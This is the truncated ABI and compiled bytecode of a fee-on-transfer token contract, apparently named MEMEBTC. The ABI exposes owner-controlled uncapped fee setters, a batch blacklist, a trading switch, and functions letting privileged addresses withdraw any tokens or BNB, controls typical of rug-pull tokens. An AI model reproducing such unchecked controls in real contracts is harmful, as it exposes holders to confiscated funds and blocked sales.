6","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"batchSetBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"batchSetFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"canBuy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentLPIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludeLpProvider","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLPHoldCondition","outputs":[{"internalType":"uint256","name":"lpCondition","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLPProviderLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getUserInfo","outputs":[{"internalType":"uint256","name":"lpAmount","type":"uint256"},{"internalType":"uint256","name":"lpBalance","type":"uint256"},{"internalType":"bool","name":"excludeLP","type":"bool"},{"internalType":"uint256","name":"preLPAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"lpAmount","type":"uint256"}],"name":"initLPAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"initMkAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lpHoldCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lpProviderIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"lpProviders","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpRewardCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"addr","type":"address"}],"name":"rebalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"addr","type":"address"}],"name":"retoken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpDividendFee","type":"uint256"},{"internalType":"uint256","name":"destroyFee","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setExcludeLPProvider","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setFundAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLPHoldCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLPRewardCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setLockAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"name":"setMinTotal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setRemoveLPFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setRemovePreLPFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rewardGas","type":"uint256"}],"name":"setRewardGas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpDividendFee","type":"uint256"},{"internalType":"uint256","name":"destroyFee","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rate","type":"uint256"}],"name":"setSellPoolDestroyRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rate","type":"uint256"}],"name":"setSellPoolRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setTransferFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startAddLPBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"lpAmount","type":"uint256"}],"name":"updateLPAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"validTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x6101006040525f600c819055600d819055600e819055600f819055601081905560118190556017805460ff1916600117905560188190556127106019819055601a91909155620c3500601b55602355610bb860245534801561005f575f80fd5b506040805180820182526007808252664d454d4542544360c81b6020808401829052845180860186529283528201525f80546001600160a01b03191633908117825593517310ed43c718714eb63d5aa57b78b54704e256024e947355d398326f99059ff775485246999027b31979559493926012926301406f409273d1a325ea795d5fb9fff1dcc2c17766ec6aa685659283928291907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060046101278782610823565b5060056101348682610823565b506006805460ff191660ff86161790556001600160a01b03871660a08190528890301161018b5760405162461bcd60e51b81526020600482015260016024820152607360f81b604482015260640160405180910390fd5b6001600160a01b038181166080819052305f90815260026020908152604080832084845282528083205f1990819055601690925291829020805460ff1916600117905560a051915163095ea7b360e01b8152600481019390935260248301529091169063095ea7b3906044016020604051808303815f875af1158015610213573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061023791906108dd565b5060a05160405163095ea7b360e01b81523260048201525f1960248201526001600160a01b039091169063095ea7b3906044016020604051808303815f875af1158015610286573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102aa91906108dd565b50305f90815260026020908152604080832032845282528083205f199055805163c45a015560e01b815290516001600160a01b0385169263c45a015592600480820193918290030181865afa158015610305573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103299190610903565b60a0516040516364e329cb60e11b81523060048201526001600160a01b0391821660248201529192505f919083169063c9c65396906044016020604051808303815f875af115801561037d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103a19190610903565b6001600160a01b0381165f818152600a602081905260408220805460ff1916600117905560c0929092529192506103d9908990610a22565b90505f6103e68289610a30565b60098190556001600160a01b0388165f818152600160205260408082208490555192935090917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061043b9085815260200190565b60405180910390a3600380546001600160a01b0319166001600160a01b038881169182179092555f908152600760209081526040808320805460ff1990811660019081179092558c861685528285208054821683179055308552828520805482168317905533855282852080548216831790557f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df805482168317905561dead85527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d8054909116909117905560a051815163313ce56760e01b815291519394169263313ce567926004808401939192918290030181865afa158015610542573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105669190610a47565b61057190600a610a22565b905061057e816064610a30565b60205560a0516040516105909061077e565b6001600160a01b039091168152602001604051809103905ff0801580156105b9573d5f803e3d5ffd5b506001600160a01b031660e0526105d2600a5f19610a67565b6001600160a01b0388165f908152601560205260409020556105f3876106b1565b60e0516001600160a01b03165f908152600760205260409020805460ff19166001908117909155610625908290610a30565b60215561063583620f4240610a30565b6025555050601e60205250507f65ce8396b736f5da9d881cc6fbcb11ef9721292dc41ec8c40879fd9edea5744d8054600160ff19918216811790925561dead5f527f8a622fd893f993f50f1795ae2bf707bdf4143f678ec4998626679a2f447616df8054909116909117905550610a9a98505050505050505050565b6001600160a01b0381165f908152601d6020526040812054900361077b57601c54158061070d5750806001600160a01b0316601c5f815481106106f6576106f6610a86565b5f918252602090912001546001600160a01b031614155b1561077b57803b801561071e575050565b50601c80546001600160a01b0383165f818152601d60205260408120839055600183018455929092527f0e4562a10381dec21b205ed72637e6b1b523bdd0e4d4d50af5cd23dd4500a2110180546001600160a01b03191690911790555b50565b610139806148c783390190565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806107b357607f821691505b6020821081036107d157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561081e57805f5260205f20601f840160051c810160208510156107fc5750805b601f840160051c820191505b8181101561081b575f8155600101610808565b50505b505050565b81516001600160401b0381111561083c5761083c61078b565b6108508161084a845461079f565b846107d7565b6020601f821160018114610882575f831561086b5750848201515b5f19600385901b1c1916600184901b17845561081b565b5f84815260208120601f198516915b828110156108b15787850151825560209485019460019092019101610891565b50848210156108ce57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f602082840312156108ed575f80fd5b815180151581146108fc575f80fd5b9392505050565b5f60208284031215610913575f80fd5b81516001600160a01b03811681146108fc575f80fd5b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156109785780850481111561095c5761095c610929565b600184161561096a57908102905b60019390931c928002610941565b935093915050565b5f8261098e57506001610a1c565b8161099a57505f610a1c565b81600181146109b057600281146109ba576109d6565b6001915050610a1c565b60ff8411156109cb576109cb610929565b50506001821b610a1c565b5060208310610133831016604e8410600b84101617156109f9575081810a610a1c565b610a055f19848461093d565b805f1904821115610a1857610a18610929565b0290505b92915050565b5f6108fc60ff841683610980565b8082028115828204841417610a1c57610a1c610929565b5f60208284031215610a57575f80fd5b815160ff811681146108fc575f80fd5b5f82610a8157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b60805160a05160c05160e051613d05610bc25f395f81816108e101528181610ea90152818161262001528181612759015281816127bf015281816131470152818161332a0152818161340d01528181613479015261352001525f818161072001528181610eff01528181610fde0152818161122c015281816114e60152818161197901528181611ddd01528181611eb201528181611fdc01528181612281015281816122c60152818161266d015281816128c401528181612bd00152612d4e01525f818161157c015281816119a70152818161282701528181612b54015281816132d301528181613352015281816134ff015261357901525f8181611d7a01528181612c5301528181612e1d01528181612eaa01528181612f1101526133da0152613d055ff3fe608060405260043610610424575f3560e01c806372162cb611610220578063a925a6bd11610129578063dd55c108116100b3578063e84fb12d11610078578063e84fb12d14610cad578063ef34db6914610cc2578063f2fde38b14610ced578063f53dabb614610d0c578063ff65226c14610d2b575f80fd5b8063dd55c10814610bf7578063dd62ed3e14610c0c578063de5c02c214610c50578063e24b04a814610c6f578063e82bef2914610c8e575f80fd5b8063cd8d263d116100f9578063cd8d263d14610b61578063ce0192f914610b80578063ce4d9f1514610b95578063d4a6793014610bc4578063d895237414610bd8575f80fd5b8063a925a6bd14610aef578063b2887bec14610b04578063b6a0735914610b23578063cbb4683214610b42575f80fd5b80638f02bb5b116101aa5780639bb853441161017a5780639bb8534414610a5e578063a1f0e73d14610a73578063a5696d8914610a92578063a842486114610ab1578063a9059cbb14610ad0575f80fd5b80638f02bb5b146109ed578063917ceeb514610a0c57806395d89b4114610a2b57806397dad33914610a3f575f80fd5b806379353c08116101f057806379353c08146109555780637a37a0ed1461096a5780637ae290f81461099357806385dc3004146109b25780638da5cb5b146109d1575f80fd5b806372162cb6146108d05780637355b15b1461090357806374d002f114610922578063756b419014610936575f80fd5b8063313ce5671161032d578063595dec3c116102b75780636ae5e5691161027c5780636ae5e569146108405780636c5808011461085f5780636e986dcc1461087357806370a0823114610888578063715018a6146108bc575f80fd5b8063595dec3c1461078e5780635ef01957146107bc57806361b746f2146107d15780636386c1c7146107e6578063652421e41461082b575f80fd5b80633c11100d116102fd5780633c11100d146106cc5780633df9a8d2146106fa5780634188bf5a1461070f57806353ad66161461075a578063553193ca14610779575f80fd5b8063313ce5671461066c57806337e5ccf71461068d5780633ae0ca3d146106a25780633bfe62ca146106b7575f80fd5b806314e3afa2116103ae5780632171dcc91161037e5780632171dcc9146105cc57806323b872dd146105eb57806325519cf21461060a578063297ac6de146106295780632b01fc941461063e575f80fd5b806314e3afa214610570578063165728b51461058557806318160ddd146105995780631d865c30146105ad575f80fd5b80630830c4ad116103f45780630830c4ad146104da578063095ea7b3146104fb5780630a6079301461051a5780630ca7b7971461053d578063141ae56614610551575f80fd5b806301873d8f1461042f57806301986fad1461047257806304c23ffe146104a057806306fdde03146104b9575f80fd5b3661042b57005b5f80fd5b34801561043a575f80fd5b5061045d6104493660046137b4565b60166020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561047d575f80fd5b5061045d61048c3660046137b4565b60076020525f908152604090205460ff1681565b3480156104ab575f80fd5b5060175461045d9060ff1681565b3480156104c4575f80fd5b506104cd610d44565b60405161046991906137cf565b3480156104e5575f80fd5b506104f96104f4366004613804565b610dd4565b005b348015610506575f80fd5b5061045d610515366004613843565b610e62565b348015610525575f80fd5b5061052f60105481565b604051908152602001610469565b348015610548575f80fd5b5061052f610e78565b34801561055c575f80fd5b506104f961056b36600461387a565b610f66565b34801561057b575f80fd5b5061052f60195481565b348015610590575f80fd5b5061052f610fc2565b3480156105a4575f80fd5b5060095461052f565b3480156105b8575f80fd5b506104f96105c73660046138b1565b61107e565b3480156105d7575f80fd5b506104f96105e636600461387a565b6110b8565b3480156105f6575f80fd5b5061045d6106053660046138da565b61110b565b348015610615575f80fd5b506104f96106243660046138b1565b61119d565b348015610634575f80fd5b5061052f60115481565b348015610649575f80fd5b5061045d6106583660046137b4565b601e6020525f908152604090205460ff1681565b348015610677575f80fd5b5060065460405160ff9091168152602001610469565b348015610698575f80fd5b5061052f600e5481565b3480156106ad575f80fd5b5061052f60255481565b3480156106c2575f80fd5b5061052f600f5481565b3480156106d7575f80fd5b5061045d6106e63660046137b4565b600a6020525f908152604090205460ff1681565b348015610705575f80fd5b5061052f601a5481565b34801561071a575f80fd5b506107427f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610469565b348015610765575f80fd5b506104f9610774366004613918565b6111d7565b348015610784575f80fd5b5061052f60125481565b348015610799575f80fd5b5061045d6107a83660046137b4565b60086020525f908152604090205460ff1681565b3480156107c7575f80fd5b5061052f60185481565b3480156107dc575f80fd5b5061052f601f5481565b3480156107f1575f80fd5b506108056108003660046137b4565b611205565b604080519485526020850193909352901515918301919091526060820152608001610469565b348015610836575f80fd5b5061052f60245481565b34801561084b575f80fd5b506104f961085a366004613918565b6112d2565b34801561086a575f80fd5b506104f9611300565b34801561087e575f80fd5b5061052f60235481565b348015610893575f80fd5b5061052f6108a23660046137b4565b6001600160a01b03165f9081526001602052604090205490565b3480156108c7575f80fd5b506104f9611369565b3480156108db575f80fd5b506107427f000000000000000000000000000000000000000000000000000000000000000081565b34801561090e575f80fd5b506104f961091d3660046139e6565b6113da565b34801561092d575f80fd5b50601c5461052f565b348015610941575f80fd5b506104f9610950366004613a28565b61145e565b348015610960575f80fd5b5061052f60215481565b348015610975575f80fd5b5061097e6114e1565b60408051928352602083019190915201610469565b34801561099e575f80fd5b50602254610742906001600160a01b031681565b3480156109bd575f80fd5b506104f96109cc3660046137b4565b6115c6565b3480156109dc575f80fd5b505f546001600160a01b0316610742565b3480156109f8575f80fd5b506104f9610a07366004613918565b61164e565b348015610a17575f80fd5b506104f9610a26366004613918565b61167c565b348015610a36575f80fd5b506104cd6116f6565b348015610a4a575f80fd5b506104f9610a59366004613918565b611705565b348015610a69575f80fd5b5061052f60135481565b348015610a7e575f80fd5b506104f9610a8d3660046137b4565b611733565b348015610a9d575f80fd5b506104f9610aac366004613843565b611795565b348015610abc575f80fd5b506104f9610acb36600461387a565b6117cf565b348015610adb575f80fd5b5061045d610aea366004613843565b611822565b348015610afa575f80fd5b5061052f600d5481565b348015610b0f575f80fd5b506104f9610b1e366004613a28565b61182e565b348015610b2e575f80fd5b506104f9610b3d366004613918565b6118b1565b348015610b4d575f80fd5b506104f9610b5c366004613a6c565b6118df565b348015610b6c575f80fd5b506104f9610b7b366004613918565b611929565b348015610b8b575f80fd5b5061052f600c5481565b348015610ba0575f80fd5b50610ba9611957565b60408051938452602084019290925290820152606001610469565b348015610bcf575f80fd5b506104f9611a19565b348015610be3575f80fd5b506104f9610bf23660046137b4565b611a51565b348015610c02575f80fd5b5061052f60205481565b348015610c17575f80fd5b5061052f610c26366004613a8f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610c5b575f80fd5b50610742610c6a366004613918565b611aa1565b348015610c7a575f80fd5b506104f9610c89366004613918565b611ac9565b348015610c99575f80fd5b50600354610742906001600160a01b031681565b348015610cb8575f80fd5b5061052f601b5481565b348015610ccd575f80fd5b5061052f610cdc3660046137b4565b601d6020525f908152604090205481565b348015610cf8575f80fd5b506104f9610d073660046137b4565b611af7565b348015610d17575f80fd5b506104f9610d26366004613918565b611bb4565b348015610d36575f80fd5b5060145461045d9060ff1681565b606060048054610d5390613abb565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7f90613abb565b8015610dca5780601f10610da157610100808354040283529160200191610dca565b820191905f5260205f20905b815481529060010190602001808311610dad57829003601f168201915b5050505050905090565b335f9081526007602052604090205460ff1615610e5d5760405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610e37573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5b9190613aed565b505b505050565b5f610e6e338484611be2565b5060015b92915050565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d546001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081165f9081526040808220547fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4954308452828420547f00000000000000000000000000000000000000000000000000000000000000009095168452918320546009549395949193610f399190613b1c565b610f439190613b1c565b610f4d9190613b1c565b610f579190613b1c565b610f619190613b1c565b905090565b5f546001600160a01b03163314610f985760405162461bcd60e51b8152600401610f8f90613b2f565b60405180910390fd5b6001600160a01b03919091165f908152601e60205260409020805460ff1916911515919091179055565b5f80610fcc6114e1565b509050610fd98180613b4b565b90505f7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611038573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061105c9190613b5e565b9050818160215461106d9190613b75565b6110779190613b8c565b9250505090565b5f546001600160a01b031633146110a75760405162461bcd60e51b8152600401610f8f90613b2f565b601091909155600f91909155601155565b5f546001600160a01b031633146110e15760405162461bcd60e51b8152600401610f8f90613b2f565b6001600160a01b03919091165f908152601660205260409020805460ff1916911515919091179055565b5f611117848484611c43565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914611193576001600160a01b0384165f90815260026020908152604080832033845290915290205461116f908390613b1c565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146111c65760405162461bcd60e51b8152600401610f8f90613b2f565b600d91909155600c91909155600e55565b5f546001600160a01b031633146112005760405162461bcd60e51b8152600401610f8f90613b2f565b602555565b6040516370a0823160e01b81526001600160a01b0382811660048301525f918291829182917f000000000000000000000000000000000000000000000000000000000000000016906370a0823190602401602060405180830381865afa158015611271573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112959190613b5e565b6001600160a01b039095165f908152601e60209081526040808320546015909252909120805460019190910154909760ff90921695509350915050565b5f546001600160a01b031633146112fb5760405162461bcd60e51b8152600401610f8f90613b2f565b602355565b5f546001600160a01b031633146113295760405162461bcd60e51b8152600401610f8f90613b2f565b601254156113635760405162461bcd60e51b815260206004820152600760248201526674726164696e6760c81b6044820152606401610f8f565b43601255565b5f546001600160a01b031633146113925760405162461bcd60e51b8152600401610f8f90613b2f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b335f9081526007602052604090205460ff161561145a5781515f80805b838110156114555785818151811061141157611411613bab565b6020908102919091018101516001600160a01b0381165f9081526015909252604090912086815560018101879055909350915061144d8361212d565b6001016113f7565b505050505b5050565b5f546001600160a01b031633146114875760405162461bcd60e51b8152600401610f8f90613b2f565b5f5b8251811015610e5d578160085f8584815181106114a8576114a8613bab565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101611489565b5f805f7f000000000000000000000000000000000000000000000000000000000000000090505f80826001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611545573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115699190613bd5565b506001600160701b0391821693501690507f0000000000000000000000000000000000000000000000000000000000000000306001600160a01b03821610156115b7578295508194506115be565b8195508294505b505050509091565b5f546001600160a01b031633146115ef5760405162461bcd60e51b8152600401610f8f90613b2f565b600380546001600160a01b0319166001600160a01b0383169081179091555f908152600760205260409020805460ff19166001179055611631600a5f19613b8c565b6003546001600160a01b03165f9081526015602052604090205550565b5f546001600160a01b031633146116775760405162461bcd60e51b8152600401610f8f90613b2f565b601a55565b5f546001600160a01b031633146116a55760405162461bcd60e51b8152600401610f8f90613b2f565b62030d4081101580156116bb5750621e84808111155b6116f15760405162461bcd60e51b815260206004820152600760248201526632302d3230307760c81b6044820152606401610f8f565b601b55565b606060058054610d5390613abb565b5f546001600160a01b0316331461172e5760405162461bcd60e51b8152600401610f8f90613b2f565b602155565b5f546001600160a01b0316331461175c5760405162461bcd60e51b8152600401610f8f90613b2f565b602280546001600160a01b039092166001600160a01b0319909216821790555f908152601e60205260409020805460ff19166001179055565b335f9081526007602052604090205460ff161561145a576001600160a01b0382165f908152601560205260409020818155610e5d8361212d565b5f546001600160a01b031633146117f85760405162461bcd60e51b8152600401610f8f90613b2f565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b5f610e6e338484611c43565b5f546001600160a01b031633146118575760405162461bcd60e51b8152600401610f8f90613b2f565b5f5b8251811015610e5d578160075f85848151811061187857611878613bab565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101611859565b5f546001600160a01b031633146118da5760405162461bcd60e51b8152600401610f8f90613b2f565b601955565b335f9081526007602052604090205460ff161561145a576040516001600160a01b0382169083156108fc029084905f818181858888f19350505050158015610e5d573d5f803e3d5ffd5b5f546001600160a01b031633146119525760405162461bcd60e51b8152600401610f8f90613b2f565b601855565b5f805f6119626114e1565b6040516370a0823160e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301529295509093507f0000000000000000000000000000000000000000000000000000000000000000909116906370a0823190602401602060405180830381865afa1580156119ee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a129190613b5e565b9050909192565b5f546001600160a01b03163314611a425760405162461bcd60e51b8152600401610f8f90613b2f565b6014805460ff19166001179055565b5f546001600160a01b03163314611a7a5760405162461bcd60e51b8152600401610f8f90613b2f565b611a86600a5f19613b8c565b6001600160a01b039091165f90815260156020526040902055565b601c8181548110611ab0575f80fd5b5f918252602090912001546001600160a01b0316905081565b5f546001600160a01b03163314611af25760405162461bcd60e51b8152600401610f8f90613b2f565b602455565b5f546001600160a01b03163314611b205760405162461bcd60e51b8152600401610f8f90613b2f565b6001600160a01b038116611b5b5760405162461bcd60e51b815260206004820152600260248201526106e360f41b6044820152606401610f8f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314611bdd5760405162461bcd60e51b8152600401610f8f90613b2f565b602055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383165f9081526008602052604090205460ff161580611c8157506001600160a01b0383165f9081526007602052604090205460ff165b80611ca357506001600160a01b0383165f908152600a602052604090205460ff165b611cdb5760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401610f8f565b6001600160a01b0383165f9081526001602052604090205481811015611d295760405162461bcd60e51b8152602060048201526003602482015262424e4560e81b6044820152606401610f8f565b6001600160a01b0384165f9081526007602052604081205460ff16158015611d6957506001600160a01b0384165f9081526007602052604090205460ff16155b15611dd557846001600160a01b03167f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031614611dd5575f612710611db78461270f613b75565b611dc19190613b8c565b905080841115611dcf578093505b60019150505b5f3290505f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b0316148015611e2a5750335f9081526016602052604090205460ff165b8015611e475750876001600160a01b0316836001600160a01b0316145b15611eaf57611e55866121fa565b90508015611eaf576001600160a01b0383165f908152601560205260408120805490935082918491611e88908490613b4b565b90915550506012545f03611eaf5780826001015f828254611ea99190613b4b565b90915550505b5f7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316896001600160a01b031603611f6d57611ef287612261565b90508015611f6d576001600160a01b0384165f90815260156020526040902054811115611f1d575f80fd5b6001600160a01b0384165f9081526015602052604081208054839290611f44908490613b1c565b90915550506001600160a01b0384165f9081526007602052604090205460ff1615611f6d575f94505b6001600160a01b0389165f908152600a602052604090205460ff1680611faa57506001600160a01b0388165f908152600a602052604090205460ff165b156120c7576013545f0361201a576001600160a01b0389165f9081526007602052604090205460ff16801561201057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b0316145b1561201a57436013555b6001600160a01b0389165f9081526007602052604090205460ff1615801561205a57506001600160a01b0388165f9081526007602052604090205460ff16155b156120c7576012545f03612085576013545f10801561207857505f82115b612080575f80fd5b6120c7565b81158015612091575080155b80156120aa575060036012546120a79190613b4b565b43105b156120c7576120bc89898960636123bb565b505050505050505050565b6120d589898988868661244a565b6001600160a01b03891630146120bc5781156120f9576120f48961212d565b6120bc565b84156120bc57601b546121216064612112836032613b75565b61211c9190613b8c565b61280d565b50505050505050505050565b6001600160a01b0381165f908152601d602052604081205490036121f757601c5415806121895750806001600160a01b0316601c5f8154811061217257612172613bab565b5f918252602090912001546001600160a01b031614155b156121f757803b801561219a575050565b50601c80546001600160a01b0383165f818152601d60205260408120839055600183018455929092527f0e4562a10381dec21b205ed72637e6b1b523bdd0e4d4d50af5cd23dd4500a2110180546001600160a01b03191690911790555b50565b5f805f80612206611957565b9250925092505f808411801561221b57505f83115b15612238578261222b8588613b75565b6122359190613b8c565b90505b6122428185613b4b565b82106122585761225482878686612bcb565b5094505b50505050919050565b5f805f8061226d611957565b9250925092508281101561235f57846122ba7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165f9081526001602052604090205490565b6122c49190613b1c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612320573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123449190613b5e565b61234e9087613b75565b6123589190613b8c